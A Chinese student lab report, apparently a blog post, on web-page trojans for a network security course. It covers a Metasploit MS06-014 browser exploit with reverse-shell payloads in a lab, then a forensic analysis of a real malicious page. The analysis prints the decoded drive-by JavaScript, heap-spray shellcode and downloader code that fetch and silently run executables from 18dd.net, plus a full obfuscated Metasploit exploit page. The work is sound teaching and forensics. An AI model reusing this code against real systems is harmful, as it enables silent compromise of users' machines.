nanfenglinyan

 

20252803 2025-2026-2 《网络攻防实践》第11周作业

20252803 2025-2026-2 《网络攻防实践》第11周作业

1.1 网页木马(最常见客户端攻击)

网页木马属于典型的客户端被动攻击方式,攻击门槛低、覆盖面广。其核心原理为:攻击者利用浏览器或第三方插件存在的安全漏洞,构造带有恶意代码的网页。用户仅需访问该网页,无需手动点击、无需下载文件、无需授权操作,漏洞即可自动触发,在系统后台静默下载远控木马程序,实现无感知入侵。

核心攻击套路:制作嵌入恶意代码的钓鱼/挂马网页 → 通过各类渠道诱导用户点击访问 → 利用内存溢出、UAF(释放后重用)、堆喷射等漏洞执行恶意代码 → 后台静默下载远控木马 → 木马写入系统配置实现开机自启持久化驻留 → 主机被黑客远程控制。

常用核心技术

Heap Spray(堆喷射):主流漏洞辅助利用技术,通过批量填充内存数据,提升浏览器漏洞利用成功率; Shellcode:漏洞触发后执行的微型恶意指令集,负责下载木马、建立远程通信; ROP(返回导向编程):绕过系统DEP防护机制,实现恶意代码正常执行; 内存漏洞利用:依托缓冲区溢出、堆损坏、UAF等浏览器内存漏洞,实现无交互代码执行。

主流传播方式:主要包含正规网站黑页挂马、色情高危站点挂马、破解软件下载站捆绑、社群论坛恶意链接传播、网页恶意广告自动跳转挂马等。

1.2 网页木马分析方法

网页木马分析主要分为静态分析、动态分析两类,结合关键特征定位攻击链路,快速完成样本溯源与风险研判。

静态分析:无需运行网页,直接查看网页原始源码,重点检测页面JS代码是否存在加密、混淆、字符加密等伪装行为,排查页面是否存在隐秘跳转、iframe嵌套、未知外网恶意域名跳转等风险特征,快速识别恶意网页基础特征。

动态分析:在沙箱、虚拟机等隔离环境中打开可疑网页,规避本机中毒风险。通过抓包工具监控网页所有网络请求,查看页面对外连接的服务器地址;同时实时监控主机文件变动、注册表篡改、系统启动项、计划任务等行为,还原完整攻击流程。

核心定位点:精准定位页面恶意脚本代码位置、漏洞触发核心点位、木马远程下载地址、木马程序特征、系统自启持久化方式,为木马查杀、漏洞修复、攻击溯源提供依据。

1.3 网页木马防护

针对网页木马的漏洞利用与传播特性,结合日常使用场景,可通过多项基础防护手段形成完整防御体系,有效抵御挂马攻击。

1. 及时更新系统与浏览器补丁,定期修复系统内核、浏览器内核已知安全漏洞,封堵漏洞利用入口,从根源防范网页木马攻击。

2. 严格管控浏览器插件,遵循“非必要不安装”原则,减少插件安装数量,重点禁用或卸载风险极高的Flash、PDF、Java运行插件,闲置插件全部关闭,避免插件漏洞被利用。

3. 手动开启系统底层安全防护机制,启用DEP、ASLR、SafeSEH防护功能,有效拦截堆喷射、溢出攻击、异常劫持等漏洞利用行为,提升系统抗攻击能力。

4. 摒弃老旧漏洞版本浏览器,使用最新版主流浏览器,全程开启浏览器沙箱隔离、安全浏览模式,限制网页恶意权限,防止恶意代码突破浏览器隔离入侵主机。

5. 安装正规终端杀毒软件,常态化开启网页防护、实时监控、下载查杀功能,自动拦截恶意网页与木马程序;同时养成良好上网习惯,不访问陌生小众网站、高危灰色站点,杜绝恶意挂马页面访问入口。

2. 实践过程

2.1 Web浏览器渗透攻击

实验任务:利用Kali攻击机与Windows靶机开展浏览器渗透攻击实验,掌握网页木马构造原理、漏洞利用流程及远程控制操作,完整体验客户端网页挂马渗透攻击全过程。
image
image

实验环境: 攻击机:kali-linux,IP地址:192.168.200.4 靶机:Win2kSever_SP0,IP地址:192.168.200.12 网络模式:两台虚拟机均采用VMnet8 NAT模式,靶机IP设置为自动获取,保证攻防网络互通。

实验步骤

1. 启动攻击机终端,切换至高权限用户,启动Metasploit渗透框架,检索本次实验所需的MS06-014漏洞渗透模块。

执行命令:

sudo su
msfconsole
search MS06-014

image
image

2. 选中对应漏洞模块,配置远程连接攻击载荷,实现渗透成功后获取靶机远程Shell权限。

执行命令:

use 0
set payload windows/shell/reverse_tcp

image

3. 配置攻击机监听地址,执行漏洞利用指令,自动构造生成网页木马,生成专属恶意访问链接。

执行命令:

set LHOST 192.168.200.4
exploit

生成木马网址:http://192.168.200.4:8080/9Qc6MmhxGso8C9J

image

4. 启动Windows靶机浏览器,测试与攻击机网络连通性,访问上述生成的网页木马链接,触发浏览器漏洞,执行恶意代码。

image

5. 返回攻击机Metasploit界面,查看渗透会话状态,接入远程控制会话,对靶机执行系统命令,验证远程控制效果。

执行命令:

sessions
sessions -i 1
ipconfig
getuid

image

2.2 取证分析实践—网页木马攻击场景分析

本次取证分析以真实网页木马攻击链路为依托,通过网页溯源、文件解密、MD5散列计算、代码解析、漏洞特征研判等操作,完整还原网页木马加载、漏洞探测、恶意文件下载、远程植入的完整攻击流程。

实践过程

1. 访问本地start.html页面,页面中包含new09.htm访问地址。

image

从学习通下载网页挂马分析实践参考(上).pdf,文件中可以找到对应的补全 new09.htm 的实际内容。由于start.html与new09.htm路径一致,直接打开new09.htm进行分析。

<script language="javascript" type="text/javascript"
src="http://js.users.51.la/1299644.js"></script>

<iframe width='0' height='0'
src='http://aa.18dd.net/aa/kl.htm'></iframe>

image

该页面会在后台静默加载远程恶意网页。

2. 根据实验规则,对页面解密出的远程URL进行32位小写MD5加密,通过哈希值访问指定服务器路径下载对应解密文件,完成恶意文件溯源。
使用在线 MD5 工具对恶意 URL 进行加密分析。
打开计算网址 https://www.tooldeer.com/hashcalculator-md5.html ,计算两个 URL 的 MD5 值:
本次初步解密得到两个核心链接,MD5结果如下:
image
http://aa.18dd.net/aa/kl.htm —— 7f60672dcd6b5e90b6772545ee219bd3
image

http://js.users.51.la/1299644.js —— 23180a42a2ff1192150231b44ffdf3d3

3. 随后将“网页挂马分析实践”压缩包解压到 Kali 中:

密码:virus

image

在文件夹中搜索,找到解密出的地址对应的文件:
image

打开文件后找到解密部分

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

image
xxtea_decrypt 是 XXTEA 对称加密算法的解密函数,它的出现,直接说明这段代码的目的就是,把加密的数据还原成明文。
xxtea_decrypt 这类对称解密函数,必须传入两个参数:
第一个参数:加密后的密文(通常是经过 Base64 编码的字符串)
第二个参数:解密用的密钥(Key)

找到此文件的解密密钥\x73\x63\x72\x69\x70\x74,\x 代表后面两位是十六进制数,对应 ASCII 字符为script

\x73 = s
\x63 = c
\x72 = r
\x69 = i
\x70 = p
\x74 = t

利用解密密钥对该文件解密,解密结果为十六进制文件

使用 XXTEA 工具对文件进行解密。https://cycy.fun/xxtea/
image
image
解密结果

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

通过AI转换为JavaScript代码字符串为

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
    try{var e;
    var ado=(document.createElement("object"));
    ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
    var as=ado.createobject("Adodb.Stream","")
    }
    catch(e){};
    finally{
        var expires=new Date();
        expires.setTime(expires.getTime()+24*60*60*1000);
        document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
        if(e!="[object Error]"){
            document.write("<script src=http://aa.18dd.net/aa/1.js><\/script>")
        }
        else{
            try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
            catch(f){};
            finally{
                if(f!="[object Error]"){
                    document.write("<script src=http://aa.18dd.net/aa/2.js><\/script>")
                }
            }
            try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtl.1");}
            catch(g){};
            finally{
                if(g!="[object Error]"){
                    document.write("<script src=http://aa.18dd.net/aa/pps.js><\/script>")
                }
            }
            try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
            catch(h){};
            finally{
                if(h!="[object Error]"){
                    obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)
                }
            }
        }
    }
}

4. 对解密后的恶意JS代码进行逻辑分析,该脚本为典型的浏览器组件漏洞挂马代码。页面加载后自动运行,优先检测浏览器Cookie标记,避免重复执行;同时依次探测系统多款ActiveX组件漏洞,根据探测结果动态加载远程恶意脚本或下载可执行木马文件,利用空捕获机制保证恶意代码稳定执行。本次解析出4个核心恶意资源链接,并完成MD5哈希计算:
image

http://aa.18dd.net/aa/1.js —— 5d7e9058a857aa2abee820d5473c5fa4 

image

http://aa.18dd.net/aa/b.js —— 3870c28cc279d457746b3796a262f166 

image

http://aa.18dd.net/aa/pps.js —— 5f0b8bf0385314dbe0e5ec95e6abedc2 

image

http://down.18dd.net/bb/bd.cab —— 1c1d7b3539a617517c49eee4120783b2

5. 依次打开各哈希值对应的恶意文件进行深度分析:

(1)解析5d7e9058a857aa2abee820d5473c5fa4文件,该文件为十六进制代码:
image
AI转译代码后发现为网页下载者脚本。通过XMLHTTP请求远程资源,借助Adodb.Stream组件写入本地系统目录,调用系统命令静默运行木马

var url="http://down.18dd.net/bb/014.exe";
try{
    var xml=ado.CreateObject("Microsoft.XMLHTTP","");
    xml.open("GET",url,0);
    xml.Send();
    as.type=1;
    as.open();
    as.write(xml.responseBody);
    path="..\\ntuser.com";
    as.savetofile(path,2);
    as.close();
    var shell=ado.createobject("Shell.Application","");
    shell.ShellExecute("cmd.exe","/c "+path,"","open",0);
}
catch(e){}

image
该文件加载的木马链接为 http://down.18dd.net/bb/014.exe ,MD5值:ca4e4a1730b0f69a9b94393d9443b979:
image

(2)解析3870c28cc279d457746b3796a262f166文件,文件为packed加密格式:
image

使用网页常用加密解密工具箱 - 工具猫

解码:
image
解码结果:
image

var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

对固定斜杠符号"/"(对应16进制也就是2F)进行定位,发现可疑之处为%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000。对其进行JS代码解码得到FileAth: http://down.18dd.net/bb/bf.exe 。完整URL为 http://down.18dd.net/bb/bf.exe 。表明该shellcode的功能是从这个URL地址下载一个名为bf.exe的可执行文件。

对代码特征字符定位解码后,获取远程木马下载地址 http://down.18dd.net/bb/bf.exe ,MD5值:268cbd59fbed235f6cf6b41b92b03f8e。
image

(3)解析5f0b8bf0385314dbe0e5ec95e6abedc2文件,为八进制:
image

将八进制代码转译为JavaScript代码

var shellcode = unescape("%uf3e9%u0000") +
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000";

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace)
    bigblock += bigblock;

var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 0x40000)
    block = block + block + fillblock;

var memory = new Array();
for (x = 0; x < 300; x++)
    memory[x] = block + shellcode;

var buffer = '';
while (buffer.length < 4068)
    buffer += "\x0a\x0a\x0a\x0a";

storm.rawParse(buffer);

发现通过shellcode内存加载方式利用漏洞,对固定斜杠符号"/"(对应16进制也就是2F)进行定位,发现可疑之处为,进行解密得 http://down.18dd.net/bb/pps.exe ,MD5值:ff59b3b8961f502289c1b4df8c37e2a4。
image

(4)解析1c1d7b3539a617517c49eee4120783b2文件,文件对应资源为bd.exe可执行程序。
image

(5)总结四个漏洞并且进行MD5加密。

MD5(http://down.18dd.net/bb/014.exe)=ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe)=268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe)=ff59b3b8961f502289c1b4df8c37e2a4
bd.exe

再计算前三个的散列值,发现三个结果一样,都为1290ecd734d68d52318ea9016dc6fe63,可以猜测第四个漏洞的散列值也跟前三个一样。因此四个文件是一样的。
image

可判定本次攻击下发的多款exe木马文件为同源同质恶意程序,攻击者通过多链路加载方式,提升木马植入成功率。

6. 最后选取pps.exe文件通过使用IDA工具对该文件进行分析,进行反汇编分析,确认程序具备批量下载、远程执行、恶意驻留功能。
image
上图展示了大量下载链接:http://down.18dd.net/kl/0.exehttp://down.18dd.net/kl/19.exe ,说明该程序会批量下载更多木马。

2.3 攻防对抗实践—web浏览器渗透攻击攻防

本次攻防对抗实验分为攻击端与防守端双向演练,攻击端利用Metasploit构造浏览器漏洞恶意代码,完成代码混淆与挂马链接生成;防守端对混淆代码进行解混淆、漏洞溯源、漏洞型号分析,完整掌握网页木马攻防对抗逻辑。

实验步骤

1. 攻击端开启Kali虚拟机,启动Metasploit框架,检索并调用MS06-014漏洞模块,配置通用反向Shell载荷,设置攻击机监听IP,执行渗透指令生成混淆恶意网页链接: http://192.168.200.4:8080/eJUeJ1vWTRqOWZY

执行命令:

sudo su
msfconsole
search ms06-014
use 0
show payloads
set payload generic/shell_reverse_tcp
set LHOST 192.168.200.4
exploit

image
image

2. 靶机访问恶意挂马链接,右键查看网页源代码,获取混淆后的完整恶意HTML、JS代码。
image

3. 使用HTML代码压缩混淆工具对源码进行处理,得到精简混淆后的恶意代码,代码显示,通过批量遍历系统ActiveX控件CLSID,探测浏览器漏洞,一旦匹配成功即下载并执行远程恶意程序。

<html><head><title></title><script language="javascript">function CfVcmqioVd(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function EcoqoqQfgBNG(a){var s=CfVcmqioVd(a,"WScript.Shell");var o=CfVcmqioVd(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\WuZrpRFbgxkPjtcoJgKdApiknL.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function iBnYuLOwbODlMPqGJYZdVDzeZmJ(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=CfVcmqioVd(a,"WScript.Shell");if(b){EcoqoqQfgBNG(a);return(0)}}catch(e){}}i++}}</script></head><body onload='iBnYuLOwbODlMPqGJYZdVDzeZmJ()'>UyoMOkAfyJauguJHyX</body></html>

image

4. 借助AI,防守端对混淆代码进行解混淆分析,提取关键CLSID特征值{BD96C556-65A3-11D0-983A-00C04FC29E36},溯源匹配确认该特征对应MS06-014浏览器漏洞,成功完成漏洞识别与攻击溯源。
image
image

3. 学习中遇到的问题及解决

3.1. 安装gedit工具时报错,如截图

image

报错原因是libicu78_78.3-1 版本包在 kali 官方源 http.kali.org 已下架(404),是软件源缓存版本和实际仓库包不一致导致。输入以下指令修复安装gedit:

# 更新软件源索引
sudo apt update

# 修复缺失依赖
sudo apt --fix-missing install

# 清理缓存
sudo apt clean

# 重新安装原本要装的包(这里是 gedit 相关)
sudo apt install gedit gedit-plugins

4. 实践总结

本次实验系统性完成了Web浏览器渗透攻击、网页木马取证分析、攻防对抗三大核心实训内容,全方位学习并实操了网页木马从构造、传播、漏洞触发、远控上线到取证溯源、攻防对抗的完整流程。

在实操过程中,我熟练掌握了Kali渗透工具的基础使用方法,熟悉了MS06-014浏览器漏洞的利用原理与攻击流程。同时深入学习了恶意网页代码的加密混淆、解混淆、进制转换、MD5哈希值计算等取证核心技能,能够独立完成恶意URL溯源、恶意脚本解析、漏洞特征识别、木马文件分析等操作。

通过本次实验,我深刻理解了网页木马“无交互、静默触发、后台驻留”的攻击特性,明晰了浏览器插件漏洞、ActiveX组件漏洞的安全风险,也掌握了对应的漏洞防护思路。同时认识到进制转换、哈希校验、代码反混淆在网络安全取证溯源中的重要作用,弥补了自身在Web客户端攻击与取证分析领域的知识短板,有效提升了网络安全实操与问题分析能力,为后续漏洞攻防、恶意代码分析学习奠定了扎实的实践基础。

posted on 2026-06-08 12:09  南风~林炎  阅读(12)  评论(0)    收藏  举报

导航